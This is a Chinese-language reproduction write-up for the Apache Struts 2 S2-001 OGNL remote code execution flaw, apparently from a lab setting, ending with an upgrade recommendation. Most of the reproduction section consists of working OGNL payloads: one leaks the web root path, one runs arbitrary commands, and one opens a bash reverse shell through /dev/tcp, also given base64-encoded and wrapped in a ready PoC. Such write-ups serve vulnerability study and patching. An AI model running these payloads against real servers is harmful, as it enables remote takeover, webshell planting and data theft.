漏洞描述:
Struts是Apache基金会Jakarta项目组的一个开源项目,Struts通过采用Java Servlet/JSP技术,实现了基于Java EE Web应用的Model-View-Controller(MVC)设计模式的应用框架,是MVC经典设计模式中的一个经典产品。目前,Struts框架广泛应用于政府、公安、交通、金融行业和运营商的网站建设,作为网站开发的底层模板使用,是应用最广泛的Web应用框架之一。
Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大,其在Action的实现方面线程模型方面、Servlet依赖方面、封装请求参数、表达式语言方面、绑定值到视图技术、类型转换、Action执行控制的对比、拦截器的应用等方面较Struts1进行了较大改进。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与 ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着太大的变化,但是相对于WebWork,Struts 2的变化很小。
在WebWork 2.1(启用 altSyntax);WebWork 2.2.0 - WebWork 2.2.5;Struts 2.0.0 -Struts 2.0.8中存在S2-001远程代码执行漏洞。
此漏洞源于 Struts 2 框架中的一个标签处理功能:altSyntax。在开启时,支持对标签中的 OGNL 表达式进行解析并执行。Struts 2允许用户提交包含 OGNL 表达式字符串的表单数据,若表单验证失败,则服务器会将用户之前提交的OGNL 表达式(如:%{1+1})进行解析执行,然后将结果重新填充到对应的表单数据中。但OGNL 解析代码实际上是在 XWork 中,struts2标签解析主要依赖于 xwork2,所以该漏洞可以理解为 xwork2 的漏洞。
复现过程:
1.访问http://ip:port,出现如下页面,开始实验
2.在登录表单中填入 OGNL 表达式 %{1+1}。提交后,发现其执行了表达式,得出结果为2,并显示在对应的密码框中。证明存在漏洞。
3.填入任意用户名与密码,点击提交后,利用burp进行抓包
4.修改 password 内容如下,查看 Web 目录路径,注意此处要将部分特殊字符进url编码。
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
5.修改 password 为如下内容,执行任意命令,此处为执行 pwd 命令。此处需要将部分特殊字符进行url编码。
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
6.反弹shell
6.1反弹shell命令
bash -i >& /dev/tcp/ip/port 0>&1
6.2 base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTIxLzY2NjYgMD4mMQ==
6.3 poc构造
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"bash","-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjAuMTIxLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
6.4本地监听
6.5执行poc
6.6成功获取反弹shell
借此漏洞,攻击者可以执行任意的代码,例如协议脚本文件;向网站写入webshell;控制整个网站或者服务器。
修复建议:
1.从XWork 2.0.4开始,OGNL 解析已更改,其不会递归解析,所以可以更新 Struts版本或XWork版本为漏洞修复版本。